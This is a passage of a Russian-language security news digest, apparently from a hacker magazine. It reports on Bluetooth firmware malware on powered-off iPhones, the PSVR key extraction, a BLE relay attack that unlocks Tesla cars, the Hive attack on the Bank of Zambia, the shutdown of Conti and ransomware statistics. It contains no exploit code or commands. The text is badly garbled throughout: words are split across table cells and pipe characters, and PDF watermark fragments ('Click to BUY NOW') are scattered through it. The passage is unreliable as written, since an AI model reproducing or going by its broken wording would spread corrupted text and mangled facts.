ранить определен |
ный |
контроль |
над устройством |
жертвы |
даже после его |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
отключения |
, а это может быть весьма полезно для устойчивых |
экспло итов |
. |
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
В случае |
с аппарат ной |
составля |
ющей |
исследова |
тели |
предположи |
ли , что |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
злоумыш |
ленник |
|
не может скомпро мети |
ровать |
железо напрямую |
. Тогда они |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
сосредото |
чились |
на определе |
нии |
|
того, какие компонен |
ты могут быть вклю |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
чены без ведома пользовате |
ля и какие приложе |
ния могут быть использованы |
. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
В отчете подробно |
расска зыва |
ется |
, как можно изменить |
|
прошив ку |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Bluetooth LPM для запуска вредонос |
ных |
|
программ |
на iPhone 13, даже если |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
устройство |
|
выключено |
. Ученые |
|
объясня |
ют , что подобная |
атака |
возможна |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
из за того, что прошив ка не подписана |
и не зашифрована |
, |
а для чипа |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Bluetooth даже не включена |
безопасная загрузка |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||
Экспер |
ты полагают , что Apple следует |
добавить в свои устройства |
некий |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
аппарат ный |
переключатель |
для отключения |
батареи, что должно |
улучшить |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ситуацию |
. Также исследова |
тель |
ская |
группа опубликова |
ла в открытом доступе |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
опенсор сные |
инстру мен ты InternalBlue и Frankenstein, которые можно исполь |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
зовать для анализа |
и модификации |
прошивок |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||
Иссле дова |
тели |
|
говорят, что сообщили |
о своих выводах инженерам |
Apple, |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
однако так и не получили от компании |
|
никаких коммента |
риев |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||
ПРОДАЖИ NFT УПАЛИ НА 92%
The Wall Street Journal и аналити ки компании NonFungible подсчи тали , что рынок невзаимо заменяемых токенов (NFT) «рушится », так как продажи упали на 92% по сравнению с исто рическим максимумом в сентябре 2021 года.
В среднем продажи токенов сократились до 19 000 в день, по сравнению с осенью прошлого года, когда NFT продава лись по 225 тысяч в день.
Количес тво продаж NFT (оранжевая линия) и активных кошельков (белая линия)
Сообща ется , что вместе с продажа ми на 88% упало и количество активных кошельков , связан ных с этим рынком : с 119 000 в ноябре 2021 года до 14 000 в апреле 2022 года.
Снижение интереса подтвержда ет и статис тика Google Trends, согласно которой количество связан ных с NFT запросов упало на 80% с января 2022 года.
Продолжение статьи0 →
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
|
ha |
|
|
|
|
|||
← 0Начало статьи
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
||
ВЗЛОМ PLAYSTATION VR
Участни ки известной |
хакерской |
|
команды Fail0verfow сообщают |
, что обна |
||||||||||||||||||||||||||||||||||||||
ружили серию уязвимос |
тей в гарнитуре |
PSVR (PlayStation VR). В итоге им уда |
||||||||||||||||||||||||||||||||||||||||
лось сделать |
дамп всех аппарат ных |
секретных |
ключей и взломать |
механизм |
||||||||||||||||||||||||||||||||||||||
аутентифика |
ции |
PSVR. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
Члены Fail0verfow расска зыва |
ют , что начали изучать |
PSVR как потенциаль |
|
|||||||||||||||||||||||||||||||||||||||
ную точку входа для взлома PS4 или PS5, так как взлом консолей |
|
останет ся |
||||||||||||||||||||||||||||||||||||||||
для команды первооче |
ред ной задачей. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
О проблемах |
PlayStation VR в блоге команды расска зал ps5_enthusiast. Он |
|||||||||||||||||||||||||||||||||||||||||
объясня |
ет , что некоторые |
функции |
, доступные |
через интерфейс PCIe, поз |
||||||||||||||||||||||||||||||||||||||
волили расшифро |
вать |
и скопиро |
вать |
образ прошив ки в доступную |
для чтения |
|||||||||||||||||||||||||||||||||||||
память. Это привело |
к тому, что удалось |
получить доступ ко всем ключам |
||||||||||||||||||||||||||||||||||||||||
PSVR, которые хранились |
в выгружен |
ных Trusted Applications. |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
Кроме того, команда сумела извлечь аппарат ные |
секреты |
через уязвимос |
|
|||||||||||||||||||||||||||||||||||||||
ти в FIGO (защищенный |
сопроцес |
сор Marvell 88DE3214 SoC). |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||
В Fail0verfow признают |
, что в итоге они не стали использовать |
механизм |
||||||||||||||||||||||||||||||||||||||||
аутентифика |
ции |
PSVR в качестве |
|
точки входа для дальнейше |
го взлома |
|||||||||||||||||||||||||||||||||||||
PS4 или PS5. Также в группе подчер кну ли , что прогресс |
взлома PS5, дос |
|||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||
тигнутый осенью прошлого |
года, также не был связан с исследова |
нием |
PSVR. |
|||||||||||||||||||||||||||||||||||||||
Теперь |
|
наработки Fail0verfow дадут другим |
энтузиас |
там |
возможность |
|||||||||||||||||||||||||||||||||||||
использовать |
любое программи |
руемое |
устройство |
в качестве |
|
гарнитуры |
||||||||||||||||||||||||||||||||||||
PSVR для |
упомяну |
тых |
консолей |
и |
«копать» дальше , так как, |
|
вероятно |
, |
||||||||||||||||||||||||||||||||||
это поможет обнаружить |
больше |
полезной |
информации |
или станет |
точкой |
|||||||||||||||||||||||||||||||||||||
входа для дальнейше |
го повышения привиле |
гий . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
НОВЫЙ DDOS-РЕКОРД
Неназ ванная криптовалют ная платформа недавно подвер глась одной из крупней ших DDoS-атак в истории , чья мощность достигала 15,3 млн запросов в секунду (request-per-second, RPS), расска зали специалис ты Cloudfare.
Отчет компании гласит , что атака длилась менее 15 секунд и была запущена ботнетом , состоящим пример но из 6000 уникаль ных ботов из 112 стран мира.
Почти 15% трафика пришло из Индонезии , а также в атаке участво вали устройства из Рос
сии, Бразилии , Индии , Колум бии и США.
Распре деле ние трафика по странам
Подчерки вает ся , что атака в основном исходила из дата центров , более чем из 1300 раз личных сетей, в том числе немецкого провай дера Hetzner Online GmbH (ANS 24940), Azteca Comunicaciones Colombia (ASN 262186), OVH во Франции (ASN 16276).
ДИКПИКИ ОТ БАНКА
Недав но Банк Замбии , централь ный банк страны , подвер гся хакерской атаке . По информации СМИ и ИБ экспертов , за этим инциден том стояла небезыз вестная вымогатель ская хак группа Hive. Однако постра давший банк не толь ко отказал ся платить злоумыш ленникам выкуп, но и высмеял их, а также прис лал фото мужских гениталий .
Согласно официаль ному пресс релизу замбий ского центро банка, атака произош ла 9 мая 2022 года и после нее наблюдались «частичные сбои в некоторых ИТ приложе ниях». Также сообщалось , что инцидент затронул некоторые системы банка , включая систему мониторин га обмена валют
иофициаль ный сайт.
««Хотим сообщить , что с тех пор работа этих систем была полностью » восста новлена», — подчерки валось в официаль ном заявлении .
Вряд ли взлом Банка Замбии |
заинтересо |
вал |
бы кого либо за предела |
ми |
||||||||||||||||||||||||||||||||||||||||||||||||
страны , но издание Bleeping Computer сообщило |
, что ответствен |
ность |
за слу |
|||||||||||||||||||||||||||||||||||||||||||||||||
чившееся |
взяла на себя вымогатель |
ская |
группиров |
ка Hive. Хакеры утвержда |
||||||||||||||||||||||||||||||||||||||||||||||||
ли, что зашифровали |
NAS в сети банка , и потребова |
ли выкуп за восста нов |
||||||||||||||||||||||||||||||||||||||||||||||||||
ление данных . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
Но самое интерес ное |
заключа |
ется |
в том, что, по информации |
журналис |
|
|||||||||||||||||||||||||||||||||||||||||||||||
тов, во время переговоров |
с хакерами вместо выплаты |
выкупа предста вите |
ли |
|||||||||||||||||||||||||||||||||||||||||||||||||
Банка Замбии |
высмеяли |
|
|
ник предста вите |
ля |
группиров |
ки (14m3-sk1llz), |
|||||||||||||||||||||||||||||||||||||||||||||
а затем отправили |
злоумыш |
ленни |
кам |
фото мужских |
гениталий |
с коммента |
|
|||||||||||||||||||||||||||||||||||||||||||||
рием: «Отсосите |
и перестань |
те блокиро |
вать |
банков ские |
сети, считая , что вы |
|||||||||||||||||||||||||||||||||||||||||||||||
сможете |
что то монетизиро |
вать , [сначала |
] научитесь |
монетизиро |
вать ». |
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||
Когда в редакции Bleeping Computer впервые увидели |
эту переписку , было |
|||||||||||||||||||||||||||||||||||||||||||||||||||
высказано |
предположе |
ние , что в чат для переговоров |
проник ли посторон |
ние , |
||||||||||||||||||||||||||||||||||||||||||||||||
ведь такое не раз случалось |
в прошлом . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||
Однако |
вскоре после этого журналис |
ты Bloomberg, со ссылкой |
на тех |
|||||||||||||||||||||||||||||||||||||||||||||||||
нического |
|
директора |
банка Грега Нсофу , сообщили |
, что основные системы |
||||||||||||||||||||||||||||||||||||||||||||||||
банка защищены и предста вите |
лям |
замбий ско го центро бан ка больше нет |
||||||||||||||||||||||||||||||||||||||||||||||||||
нужды взаимо дей ство |
вать |
со злоумыш |
ленни |
ками |
. При этом Нсофу открыто |
|||||||||||||||||||||||||||||||||||||||||||||||
сообщил |
, |
|
что предста вите |
ли |
|
|
банка |
|
|
уже |
|
«послали |
злоумыш |
ленни |
ков » |
|||||||||||||||||||||||||||||||||||||
по известно му адресу , тем самым подтвер |
див , что банк все же участво вал |
|||||||||||||||||||||||||||||||||||||||||||||||||||
в переговорах |
и, похоже, действи |
тель |
но отправлял хакерам дикпики |
. |
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||
25% РОССИЯН ИСПОЛЬЗУЮТ VPN ДЛЯ СОЦСЕТЕЙ
Согласно исследова нию, проведен ному банком «Открытие », 25% россиян используют VPN
итаким образом продол жают посещать заблокиро ванные в России социаль ные сети Facebook
иInstagram (заблокиро ваны в России , принад лежат корпорации Meta, признанной экстре мист ской организа цией, запрещен ной на территории РФ). Наибольшее число таких пользовате лей
наблюда ется на Урале (32%), а также в Москов ском регионе (30%).
При этом еще треть респонден тов (30%) сократила посещение этих сервисов из за необ ходимости пользовать ся VPN, а 39% опрошен ных сообщили , что перестали пользовать ся ими принципи аль но . Чаще всего такой ответ давали жители Санкт Петербурга и Ленинградской области (48%), реже всего — Северного Кавказа (24%) и Дальнего Востока (31%).
ВРАЧ-ХАКЕР ИЗ ВЕНЕСУЭЛЫ
Американ |
ские |
власти |
заявили , что 55-летний |
кардиолог |
с француз ским |
|||||||||||||||
и венесуэль ским |
гражданс |
твом |
, прожива |
ющий |
в Венесуэле , Мойзес |
Луис |
||||||||||||||
Загала Гонсалес |
(Moises Luis Zagala Gonzalez), создал и сдавал в аренду дру |
|||||||||||||||||||
гим хакерам известные |
шифроваль |
щики |
Jigsaw и Thanos. |
|
|
|
|
|||||||||||||
По данным |
Минюста США, Загала, использовав |
ший |
в сети псевдонимы |
|||||||||||||||||
Nosophoros, Aesculapius и Nebuchadnezzar, не только сдавал свою малварь |
||||||||||||||||||||
в аренду , но и предлагал |
киберпрес |
тупни |
кам |
всячес кую |
поддер жку и обу |
|||||||||||||||
чение, а затем делил с ними прибыль |
— выкупы, полученные |
от жертв по все |
||||||||||||||||||
му миру. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
««Многоза дачный доктор лечил пациентов , создал и назвал в честь смерти свой киберинстру мент, зарабатывал на глобаль ной экосис - теме программ вымогателей , продавая инстру менты для проведе ния
вымогатель ских атак, обучал злоумыш ленников тому, как вымогать
деньги у жертв, а затем хвастался в сети успешными атаками , в том числе совершенны ми хакерами , связан ными с правитель ством Ира-» на», — расска зал прокурор США Бреон Пис.
Стоит отметить , что шифроваль щик Jigsaw не проявлял активности с осе ни 2021 года, и даже в то время его активность была весьма низкой . Кроме того, для него давно доступен бесплат ный дешифровщик , созданный экспер
тами Emsisoft.
Thanos, в свою очередь , работал по модели ransomware as a service (RaaS, «вымогатель как услуга ») и в основном рекламиро вался на русско язычных хакерских форумах. Малварь позволяла «партне рам» Загалы создавать собс твенные вымогатели с помощью специаль ного конструк тора.
По данным ID-Ransomware, активность Thanos тоже практичес ки перестала проявлять ся еще в феврале 2022 года, а билдер малвари утек на VirusTotal в июне 2021 года.
Американ ские власти сообщили , что в мае 2022 года агенты правоох ранительных органов смогли окончатель но связать Загалу с атаками Thanos, когда опросили одного из его родствен ников, который получил часть незаконных доходов от вымогатель ских операций , используя учетную запись PayPal. Этот человек также передал следова телям контак тную информацию , хранящу юся в его телефоне , которую Nosophoros использовал для регистра ции части инфраструктуры для Thanos.
WIKIMEDIA НЕ НУЖНА КРИПТОВАЛЮТА
Предста вители фонда «Викимедиа » сообщили , что 71% участни ков сообщес тва проголо совал за прекращение приема пожертво ваний в криптовалю те. Фонд, управляющий «Википедией », начал принимал криптовалю ту еще в 2014 году после просьб со стороны волонтеров и жертво вателей , но теперь от этой практики откажут ся.
Во время обсуждения вопроса предста вите ли «Викимедиа » сообщили , что в предыду щем финансовом году криптовалют ные пожертво вания составили лишь 0,08% (130 101 доллар США) от общего числа и этот способ использовали только 347 жертво вате лей , в основном отдавая предпочте ние биткоинам .
«Фонд „Викимедиа “ решил прекратить |
|
прямое |
принятие |
криптовалю |
ты |
|||||||||||
→в качестве |
пожертво ваний |
. Мы начали напрямую |
принимать |
криптовалю |
ту |
|||||||||||
в 2014 году по просьбам |
наших волонтеров |
и жертво вате |
лей . Теперь мы при |
|||||||||||||
нимаем это решение на основе недавних отзывов , полученных от этих же сооб |
||||||||||||||||
ществ. В частнос |
ти , мы закроем |
нашу учетную |
запись Bitpay, что лишит нас воз |
|||||||||||||
можности напрямую |
принимать |
криптовалю |
ту в качестве пожертво ваний |
», |
|
|
||||||||||
— гласит официаль ное заявление главного специалис та по развитию фонда «Викимедиа » Лизы Зайц Грувелл (Lisa Seitz-Gruwell).
BLUETOOTH-АТАКА НА TESLA
Экспер ты из NCC Group разработа ли инстру мент для проведе ния relay-атак посредс твом Bluetooth Low Energy (BLE) и утвержда ют, что этот способ поз воляет обойти все средства защиты и аутентифика ции на целевых устрой ствах.
Нужно сказать , что BLE использует ся во многих продук тах, от электро ники (ноутбуки , мобильные телефоны , умные замки , системы контро ля доступа )
до автомоби лей , включая Tesla Model 3 и Model Y.
Такой тип атак подразуме вает, что злоумыш ленник может перехватывать связь между двумя сторона ми, например между брелоком авто и самим тран спортным средством , и манипулиро вать ею.
Продук ты , которые полагаются на BLE для аутентифика ции на основе бли зости , защищены от известных методов relay-атак благода ря провер кам точ ного количества задержек (latency), а также шифрованию на уровне канала. Но в NCC Group сообщают , что создали инстру мент , который работает на канальном уровне с задержкой 8 мс, что находится в пределах допус
тимого диапазона 30 мс для ответа GATT (Generic ATTtribute Profle).
««Посколь ку relay-атака работает на канальном уровне , она может пересылать на канальном уровне зашифрован ные PDU. Также она
способ на обнаружи вать зашифрован ные изменения параметров соединения (таких как интервал соединения , WinOffset, режим PHY) и поддержи вать relay-соединение с изменени ем параметров . Таким
образом , ни шифрование канального уровня , ни изменение парамет- ров зашифрован ного соединения не защищают от этого типа атак», — » пишут исследова тели.
По словам |
специалис |
та NCC Group Султана |
Касима Хана, для запуска подоб |
||||||||||||||||||||||||||||||||||||||||||||||||||||
ной атаки требует |
ся около 10 с и ее можно повторять |
бесконеч |
но . Так |
||||||||||||||||||||||||||||||||||||||||||||||||||||
как Tesla Model 3 и Model Y используют |
систему |
|
входа на основе BLE, пред |
||||||||||||||||||||||||||||||||||||||||||||||||||||
ложенный |
|
экспертами |
|
|
|
метод |
может |
|
использовать |
ся |
для |
разбло киров |
ки |
||||||||||||||||||||||||||||||||||||||||||
и запуска этих автомоби |
лей . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
Хотя |
техничес |
кие детали атаки пока не опубликова |
ны , исследова |
тели |
рас |
||||||||||||||||||||||||||||||||||||||||||||||||||
сказыва |
ют , что они протес тирова |
ли свой метод на Tesla Model 3 2020 года |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
с использовани |
ем iPhone 13 mini и приложе |
нием |
Tesla версии 4.6.1-891. |
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||||||
Атака показала успешную разбло киров |
ку автомоби |
ля и управление |
им, |
||||||||||||||||||||||||||||||||||||||||||||||||||||
когда iPhone находился за предела |
ми зоны действия |
|
BLE. Так, в ходе экспе |
||||||||||||||||||||||||||||||||||||||||||||||||||||
римента удалось |
связать |
автомобиль |
с iPhone через два ретран сля тора |
, один |
|||||||||||||||||||||||||||||||||||||||||||||||||||
из которых находился в 7 м от телефона , а другой — в 3 м от автомоби |
ля . |
||||||||||||||||||||||||||||||||||||||||||||||||||||||
Общее рассто яние |
между телефоном |
и автомоби |
лем |
составило |
25 м. |
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||
Тест был успешно воспро изве |
ден |
|
на Tesla Model Y 2021 года, посколь |
ку |
|||||||||||||||||||||||||||||||||||||||||||||||||||
в этом авто используют |
ся аналогич |
ные |
технологии |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||||||||
Экспер |
ты |
сообщают |
, |
что уведоми |
ли о результатах |
|
своих |
изысканий |
инже |
||||||||||||||||||||||||||||||||||||||||||||||
неров Tesla, но в компании |
ответили |
, что «relay-атаки являются |
известным |
||||||||||||||||||||||||||||||||||||||||||||||||||||
недостатком |
систем |
пассивно |
го входа ». Также эксперты уведоми |
ли о проб |
|||||||||||||||||||||||||||||||||||||||||||||||||||
лемах Spectrum Brands, материнскую |
|
компанию |
Kwikset — произво |
дите |
ля |
||||||||||||||||||||||||||||||||||||||||||||||||||
линейки умных замков Kevo. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
Иссле дова |
ние NCC Group было опубликова |
но в формате |
трех разных док |
||||||||||||||||||||||||||||||||||||||||||||||||||||
ладов: для BLE в целом, для автомоби |
лей |
|
Tesla, а также для умных замков |
||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||
Kwikset/Weiser. Каждый |
|
из докладов |
|
иллюстри рует |
проблему |
на конкрет |
ных |
||||||||||||||||||||||||||||||||||||||||||||||||
протес тирован |
|
ных |
устройствах |
и |
дает |
понять, |
|
|
как |
|
та влияет |
на |
девайсы |
||||||||||||||||||||||||||||||||||||||||||
и товары других произво |
дите |
лей . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
1 000 000 БЛОКИРОВАННЫХ ПРИЛОЖЕНИЙ
Инженеры Google раскры ли статис тику за 2021 год и утвержда ют, что за год предот вратили попадание в Google Play Store 1,2 миллиона вредонос ных приложе ний. В компании уверены ,
что это предот вратило «миллиар ды установок » малвари на Android-устройства .
Также за прошед ший год компания забанила 190 000 учетных записей, принад лежащих «недобросовес тным разработ чикам», и закрыла около полумил лиона учетных записей, которые были заброшены или неактивны .
Продолжение статьи0 →
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
. |
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|||
← 0Начало статьи
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
. |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
||
CONTI ПРЕКРАЩАЕТ РАБОТУ
Извес тная вымогатель ская группа Conti прекратила свою деятельность , ее инфраструктура отключена , а руководите ли группы заявили , что бренда боль ше нет.
Одним из первых эти перемены заметил Елисей Богуслав ский из ком пании Advanced Intel, который сообщил , что внутренняя инфраструктура груп пировки отключена . По его словам , прочие внутренние службы группиров ки, такие как чат серверы , сейчас тоже выводятся из эксплу атации.
При этом общедос тупный сайт для утечек Conti News, а также сайт для проведе ния переговоров о выкупах еще доступны , но Богуслав ский пояс няет, что админис тра тив ные панели Tor, используемые хакерами для про ведения переговоров и публикации новостей на сайте , уже отключены .
Хотя недавно Conti провела громкую атаку на власти Коста Рики, иссле дователь считает , что это было сделано для отвода глаз, пока участни ки Conti медленно мигрирова ли в другие , более мелкие вымогатель ские группиров ки.
««Единствен ная цель, которой Conti хотела добиться последней атакой , заключалась в том, чтобы использовать ее в качестве инстру мента
для рекламы , устроить собствен ную „смерть“, а затем возродить ся наиболее правдоподоб ным образом .0
0
Тайной целью атаки на Коста Рику, которую объяви ло внутреннее
руководство Conti, была публичность |
, а не получение |
выкупа. Внут- |
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||
ренняя переписка между членами |
группы показывает , что запрошен |
- |
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||
ный выкуп был намного |
меньше миллиона |
долларов |
США (несмотря |
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||
на слухи о том, что группиров |
ка запрашива |
ла |
выкуп |
в |
раз- |
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||
мере 10 |
миллионов |
|
|
долларов |
США, |
и собствен |
ные |
заявления |
Conti |
» |
|
|||||||||||||||||||||||||||||||||||||||
о том, что сумма выкупа составля |
ла 20 миллионов |
долларов |
США)», — |
|
||||||||||||||||||||||||||||||||||||||||||||||
|
|
|
|
|
||||||||||||||||||||||||||||||||||||||||||||||
расска зыва |
ют в Advanced Intel. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
Хотя бренда Conti больше не существу ет , эксперты уверены |
, что этот прес |
|||||||||||||||||||||||||||||||||||||||||||||||||
тупный синдикат |
еще долго будет играть важную |
|
роль в вымогатель |
ской |
||||||||||||||||||||||||||||||||||||||||||||||
«индустрии |
». Так, Богуслав ский |
полагает , что |
|
|
вместо |
|
традици |
онно |
го |
|||||||||||||||||||||||||||||||||||||||||
для хак групп ребрендин |
га (и последу |
юще |
го |
|
превращения |
в новую груп |
||||||||||||||||||||||||||||||||||||||||||||
пировку ) руководство Conti сотрудни |
чает |
с более мелкими |
группами |
вымога |
||||||||||||||||||||||||||||||||||||||||||||||
телей для проведе |
ния атак. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
В рамках такого «партнерс |
тва » небольшие |
хак группы получают приток |
||||||||||||||||||||||||||||||||||||||||||||||||
опытных |
пентесте |
ров , переговор щиков |
|
и операто |
ров |
из числа участни ков |
||||||||||||||||||||||||||||||||||||||||||||
Conti. А синдикат |
Conti, разделя |
ясь на более мелкие «ячейки », управляемые |
||||||||||||||||||||||||||||||||||||||||||||||||
единым |
руководством |
, получает мобильность |
|
и |
возможность |
уклонять |
ся |
|||||||||||||||||||||||||||||||||||||||||||
от внимания |
правоох |
ранитель |
ных органов . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||
По данным |
специалис |
тов , таким образом |
Conti сотрудни |
чает |
с группиров |
|
||||||||||||||||||||||||||||||||||||||||||||
ками HelloKitty, |
|
AvosLocker, |
|
Hive, |
BlackCat, |
BlackByte |
и |
другими |
. |
Также |
||||||||||||||||||||||||||||||||||||||||
в Advanced Intel считают |
, что члены Conti создали |
|
ряд новых и автоном ных |
|||||||||||||||||||||||||||||||||||||||||||||||
группировок |
, которые полностью |
сосредото |
чены |
на краже данных , а не на их |
||||||||||||||||||||||||||||||||||||||||||||||
шифровании |
. В число этих групп входят Karakurt, BlackByte и Bazarcall. |
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||||||||||||
ВЫКУПЫ СТАНОВЯТСЯ БОЛЬШЕ
Экспер ты Group-IB предста вили отчет, посвящен ный программам вымогателям , которые мно гие считают наиболее опасной угрозой для бизнеса и госсекто ра во всем мире. К сожалению , по данным компании , ситуация с вымогателя ми продол жает становить ся все хуже.
В 2021 году самыми агрессивными операто рами шифроваль щиков , совершивши ми наиболь шее число кибератак в мире, были признаны группы LockBit, Conti и Pysa.
Средний размер требуемо го злоумыш ленни ками выкупа в прошлом году вырос до 247 000 долларов США. Рекорд по жадности поставили вымогатели из Hive — они потребова ли от немецкого холдинга MediaMarkt выкуп в 240 миллионов долларов США.
Основные цели вымогателей находятся в Северной Америке , Европе , Латинской Америке , Ази атско Тихоокеан ском регионе
При этом количество атак на россий ские компании за год увеличи лось более чем на 200%. Наиболее активными в России оказались операто ры шифроваль щиков Dharma, Crylock,
Thanos.
В России шифроваль щики нацелены исключитель но на крупный бизнес — от 5000 сотрудни
ков — из отраслей строитель ства, страхова ния, агропро мышленного комплек са.
Отмеча ется, что атакующие стали гораздо быстрее добиваться своих целей: если раньше сред
нее время нахождения шифроваль щиков в сети жертвы составля ло 13 дней, то в прошлом году оно сократилось до 9 дней.
Среднее время простоя атакован ной компании в 2021 году увеличи лось с 18 дней до 22 дней.
Самым частым способом получения первоначаль ного доступа в сети компаний стала компро метация публичных RDP-серверов , ведь многие из сотрудни ков по прежнему работали
